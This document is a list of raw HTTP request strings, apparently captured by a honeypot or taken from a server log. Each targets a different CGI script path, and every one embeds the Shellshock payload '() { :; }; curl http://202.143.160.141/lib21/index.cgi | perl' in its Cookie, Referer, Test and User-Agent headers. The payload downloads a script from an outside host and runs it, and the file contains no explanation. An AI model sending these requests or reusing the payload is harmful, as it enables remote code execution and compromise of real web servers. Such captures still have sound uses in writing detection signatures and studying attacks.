 u'GET /cgi-bin/icatHTTP/1.0 HTTP/0.9\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl',
 u'GET /cgi-bin/htsearch.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl',
 u'GET /cgi-bin/html2wml.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl',
 u'GET /cgi-bin/html2chtml.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl',
 u'GET /cgi-bin/hsx.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl',
 u'GET /cgi-bin/hitview.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl',
 u'GET /cgi-bin/handler/netsonarHTTP/1.0 HTTP/0.9\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl',
 u'GET /cgi-bin/handler.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl',
 u'GET /cgi-bin/handlerHTTP/1.0 HTTP/0.9\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl',
 u'GET /cgi-bin/guestbook.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl',
 u'GET /cgi-bin/gm.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl',
 u'GET /cgi-bin/gm-cplog.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl',
 u'GET /cgi-bin/gm-authors.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl',
 u'GET /cgi-bin/gH.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl',
 u'GET /cgi-bin/getdoc.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl',
 u'GET /cgi-bin/generate.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl',
 u'GET /cgi-bin/gbook/gbook.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl',
 u'GET /cgi-bin/gbadmin.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl',
 u'GET /cgi-bin/FormMail.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl',
 u'GET /cgi-bin/FormHandler.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl',
 u'GET /cgi-bin/fom/fom.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl',
 u'GET /cgi-bin/fom.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl',
 u'GET /cgi-bin/flexform.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl',
 u'GET /cgi-bin/finger.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl',
 u'GET /cgi-bin/FileSeek2.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl',
 u'GET /cgi-bin/FileSeek.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl',
 u'GET /cgi-bin/faqmanager.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl',
 u'GET /cgi-bin/ezshopper3/loadpage.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl',
 u'GET /cgi-bin/ezshopper2/loadpage.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl',
 u'GET /cgi-bin/ezshopper/search.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl',
 u'GET /cgi-bin/ezshopper/loadpage.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl',
 u'GET /cgi-bin/ezman.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl',
 u'GET /cgi-bin/ezboard.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl',
 u'GET /cgi-bin/ezadmin.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl',
 u'GET /cgi-bin/environ.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl',
 u'GET /cgi-bin/enter.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl',
 u'GET /cgi-bin/emumail/emumail.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl',
 u'GET /cgi-bin/emumail.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl',
 u'GET /cgi-bin/emu/html/emumail.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl',
 u'GET /cgi-bin/download.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl',
 u'GET /cgi-bin/directorypro.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl',
 u'GET /cgi-bin/dig.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl',
 u'GET /cgi-bin/diagnose.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl',
 u'GET /cgi-bin/dfire.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl',
 u'GET /cgi-bin/dcforum.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl',
 u'GET /cgi-bin/dbman/db.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl',
 u'GET /cgi-bin/db_manager.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl',
 u'GET /cgi-bin/day5datanotifier.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl',
 u'GET /cgi-bin/day5datacopier.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl',
 u'GET /cgi-bin/cvsqueryform.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl',
 u'GET /cgi-bin/cvsquery.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl',
 u'GET /cgi-bin/cvslog.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl',
 u'GET /cgi-bin/cvsblame.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl',
 u'GET /cgi-bin/csv_db.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl',
 u'GET /cgi-bin/csSearch.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl',
 u'GET /cgi-bin/csPassword/csPassword.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl',
 u'GET /cgi-bin/csPassword.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl',
 u'GET /cgi-bin/csNewsPro.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl',
 u'GET /cgi-bin/csNews.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl',
 u'GET /cgi-bin/CSMailto/CSMailto.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl',
 u'GET /cgi-bin/CSMailto.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl',
 u'GET /cgi-bin/csLiveSupport.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl',
 u'GET /cgi-bin/csGuestBook.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl',
 u'GET /cgi-bin/csChatRBox.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl',
 u'GET /cgi-bin/Count.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl',
 u'GET /cgi-bin/compatible.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl',
